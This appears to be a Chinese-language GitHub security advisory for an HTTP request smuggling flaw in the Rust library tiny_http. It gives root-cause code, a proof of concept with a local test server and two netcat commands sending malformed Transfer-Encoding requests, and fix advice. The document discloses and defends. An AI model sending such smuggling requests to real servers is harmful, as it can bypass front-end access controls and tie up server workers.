theopaid/CVE-2026-66752-HTTP-Request-Smuggling-via-Unparsed-Transfer-Encoding-Values-tiny_http-

GitHub: theopaid/CVE-2026-66752-HTTP-Request-Smuggling-via-Unparsed-Transfer-Encoding-Values-tiny_http-

披露 tiny_http 库因未校验 Transfer-Encoding 值而引发的 HTTP 请求走私漏洞(CVE-2026-66752),包含根因分析、概念验证及修复建议。

Stars: 0 | Forks: 0

# 安全公告:通过未解析的 Transfer-Encoding 值进行 HTTP 请求走私 (tiny_http) **分配的 CVE ID:** CVE-2026-66752 ## 摘要 tiny_http 仅检查是否存在 `Transfer-Encoding` 标头。它从不 查看其值。任何值,包括非 `chunked` 的编码以及 最终元素不是 `chunked` 的编码列表,都会导致 body 被 进行 chunk 解码,同时 `Content-Length` 会被直接丢弃。 正确解析传输编码的前端在与 tiny_http 处理同一个连接时, 会对这类请求的边界划定有所不同。两个参与者在同一个连接上对边界划定存在分歧, 这是导致请求走私的前提条件。发送带有非 chunked 编码的 非 chunked body 也会导致 tiny_http 读取 body 失败并完全不返回任何响应。 ## 受影响版本 仓库 URL:https://github.com/tiny-http/tiny-http | | | |---|---| | 受影响 | 所有发布版本,包括截至目前的最新版本 0.12.0 (2022-10-06) | | 已验证 | 0.6.2, 0.6.3, 0.8.0, 0.9.0, 0.10.0, 0.11.0, 0.12.0 | | 修复版本 | 截至撰稿时没有修复版本 | ## 严重程度 CWE-444 (HTTP 请求的不一致解释)。 CVSS 4.0 基础分:6.3(中危) `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:L/SI:L/SA:N` ## 威胁模型 发送原始 HTTP 请求的远程、未经身份验证的客户端。无需凭据或 用户交互。 请求走私的情况需要 tiny_http 位于一个前端或 CDN 之后,该前端或 CDN 转发 `Transfer-Encoding` 和 `Content-Length` 并正确应用 RFC 9112 第 6.1 节,这意味着它将最终元素不是 `chunked` 的编码列表视为非 chunked,并回退到 `Content-Length`。该前端和 tiny_http 随后会在 body 结束位置上产生分歧。 无响应请求的情况只需要具备连接能力,无需其他条件。 ## 根本原因 `tiny_http-0.12.0/src/request.rs`,第 143 到 153 行。标头被定位并 克隆,但对其值仅进行了存在性测试: ``` 143 // finding the transfer-encoding header 144 let transfer_encoding = headers 145 .iter() 146 .find(|h: &&Header| h.field.equiv("Transfer-Encoding")) 147 .map(|h| h.value.clone()); 148 149 // finding the content-length header 150 let content_length = if transfer_encoding.is_some() { 151 // if transfer-encoding is specified, the Content-Length 152 // header must be ignored (RFC2616 #4.4) 153 None ``` 随后,`tiny_http-0.12.0/src/request.rs` 第 218 到 221 行无条件地应用了 chunked 解码器: ``` 218 } else if transfer_encoding.is_some() { 219 // if a transfer-encoding was specified, then "chunked" is ALWAYS applied 220 // over the message (RFC2616 #3.6) 221 Box::new(FusedReader::new(Decoder::new(source_data))) as Box ``` `transfer_encoding` 是一个包含原始值的 `Option`,并且 没有任何地方检查过其内容。RFC 9112 第 6.1 节要求请求的最终 编码必须是 `chunked`,并要求服务器以其他方式拒绝该消息; 同时第 6.3 节要求拒绝同时携带 `Transfer-Encoding` 和 `Content-Length` 的请求。 ## 概念验证 (PoC) 步骤 1. 启动一个服务器,报告其读取的边界划定标头和 body。 ``` use std::io::Read; use tiny_http::{Response, Server}; fn main() { let server = Server::http("127.0.0.1:8005").unwrap(); for mut request in server.incoming_requests() { let te = request.headers().iter() .find(|h| h.field.equiv("Transfer-Encoding")) .map(|h| h.value.as_str().to_string()); let cl = request.headers().iter() .find(|h| h.field.equiv("Content-Length")) .map(|h| h.value.as_str().to_string()); let mut body = Vec::new(); let r = request.as_reader().read_to_end(&mut body); println!("TE={:?} CL={:?} read={:?} body={:?}", te, cl, r, String::from_utf8_lossy(&body)); let _ = request.respond(Response::from_string("ok")); } } ``` 步骤 2. 发送一个带有 `Transfer-Encoding: identity`、匹配的 `Content-Length` 以及纯文本 body 的请求。任何前端都会将此 body 划定为 五个字节 `hello`。 ``` printf 'POST / HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: identity\r\nContent-Length: 5\r\n\r\nhello' | nc -w 2 127.0.0.1 8005 ``` 结果。tiny_http 对非 chunked 的 body 进行了 chunk 解码,将其丢弃,并 未发送任何响应。客户端会一直等待直到自身超时,并且连接被 消耗掉。 ``` TE=Some("identity") CL=Some("5") read=Err(Custom { kind: InvalidInput, error: DecoderError }) body="" ``` 步骤 3. 发送一个最终元素不是 `chunked` 的编码列表。 ``` printf 'POST / HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked, identity\r\n\r\n5\r\nhello\r\n0\r\n\r\n' | nc -w 2 127.0.0.1 8005 ``` 结果。tiny_http 接受了它并按 chunked 解码,而 RFC 9112 第 6.1 节 要求予以拒绝: ``` TE=Some("chunked, identity") CL=None read=Ok(5) body="hello" ``` 作为对比,仅使用 `Content-Length` 以及正确的 `Transfer-Encoding: chunked` 行为均正常,并返回 `body="hello"`。 ## 影响 当 tiny_http 位于正确解析传输编码的前端之后时, 这两个组件对于请求 body 结束位置的判定会产生分歧。攻击者 可以选择在该分歧任意一侧的字节,这是将请求从前端的路由和访问控制中走私出去的标准手法。 与是否存在前端无关,步骤 2 和 3 展示了一个极其简单的畸形请求, 它会占用一个 worker 且完全不返回任何响应,因此客户端无法判断 该请求是否已被拒绝。 ## 修复建议 在 `src/request.rs` 第 144 行附近,将 `Transfer-Encoding` 按照其原本的逗号分隔列表进行解析: 对于带有 body 的请求,要求其最终编码必须是 `chunked`, 并使用 400 错误拒绝任何其他编码,而不是对其进行 chunk 解码。按照 RFC 9112 第 6.3 节对非代理服务器的要求,拒绝同时携带 `Transfer-Encoding` 和 `Content-Length` 的请求,而不是在第 150 行静默忽略 `Content-Length`。 当 body 读取器失败时,发送 400 错误,而不是在不作响应的情况下直接丢弃请求。
标签:CISA项目, HTTP请求走私, Rust, Web服务器, 可视化界面, 漏洞分析, 网络安全, 网络流量审计, 路径探测, 隐私保护